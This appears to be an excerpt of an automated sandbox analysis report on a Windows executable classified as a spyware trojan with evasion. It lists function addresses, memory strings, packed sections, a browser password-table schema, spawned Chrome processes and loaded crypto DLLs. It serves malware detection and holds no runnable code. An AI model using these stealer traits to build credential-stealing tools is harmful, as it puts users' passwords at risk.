Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B44381	0_3_00B44381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B44381	0_3_00B44381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B48ABE	0_3_00B48ABE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B44381	0_3_00B44381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B44381	0_3_00B44381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B489D5	0_3_00B489D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD3F85	0_2_05CD3F85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD3F9C	0_2_05CD3F9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD3FB3	0_2_05CD3FB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD5727	0_2_05CD5727
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05CD3F20	0_2_05CD3F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B37B98	0_3_00B37B98

Source: file.exe, 00000000.00000003.2225128656.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227629093.000000000590F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228919827.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2241430531.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225318421.0000000005776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226272482.0000000005780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2243754048.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2241667224.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235231156.0000000005891000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229838344.0000000005777000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232491591.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238622705.00000000059C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234250088.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232641359.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225412227.000000000580A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233544908.0000000005878000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236013128.0000000005884000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242654742.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233379130.000000000577D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233063580.000000000586A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232924406.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224953695.000000000577A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260090303.000000000538D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225984395.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238136679.0000000005895000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228166687.0000000005842000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232337466.0000000005777000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225700066.0000000005812000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2240410889.000000000577D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242813396.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226645210.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224779057.0000000005572000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237733338.0000000005776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2243981696.000000000577B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235603557.0000000005889000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227745503.000000000577E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2244241349.00000000058C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226864095.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242983799.0000000005A06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228000823.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226367416.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2241996433.00000000059E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2240137389.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226179863.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225038095.000000000580D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226552849.0000000005822000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232024041.0000000005780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233876830.0000000005881000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238907164.0000000005780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2240849033.000000000577A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235051369.0000000005776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229221187.0000000005928000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233717506.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229638952.000000000585D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231684289.0000000005780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226077199.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233211692.000000000596B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228691426.000000000584F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239753176.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224864589.00000000053DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231854331.0000000005862000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235764895.0000000005779000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234837808.0000000005987000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225893130.000000000581A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227872563.0000000005845000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235401648.0000000005776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230095352.0000000005861000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2243502405.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226452190.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2366713673.0000000005774000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2241832023.00000000058AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239424771.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226728857.0000000005823000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227249965.0000000005772000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226987136.0000000005780000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237104713.0000000005884000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225589202.000000000577A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227428244.0000000005841000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225800848.0000000005773000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225227458.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227147202.0000000005839000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225501572.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2243190210.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236338404.000000000599E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232182276.000000000586E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2241232477.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242490962.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229439655.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2240620351.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234617278.0000000005880000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231269523.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229064916.000000000584F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228442765.0000000005844000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242157928.0000000005778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230426020.000000000594E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228310986.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236778140.0000000005772000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234039498.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2242321846.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231112904.000000000577C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232792910.0000000005870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237446730.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228577382.0000000005775000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9973442656765676
Source: file.exe	Static PE information: Section: auhpbvcy ZLIB complexity 0.9944437375153657

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@9/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2108680405.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122772367.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122684424.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109107199.00000000052DB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1896,i,699837982476473794,15820292767199972277,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2032,i,11720030258500740582,152238340619267694,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1896,i,699837982476473794,15820292767199972277,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2032,i,11720030258500740582,152238340619267694,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
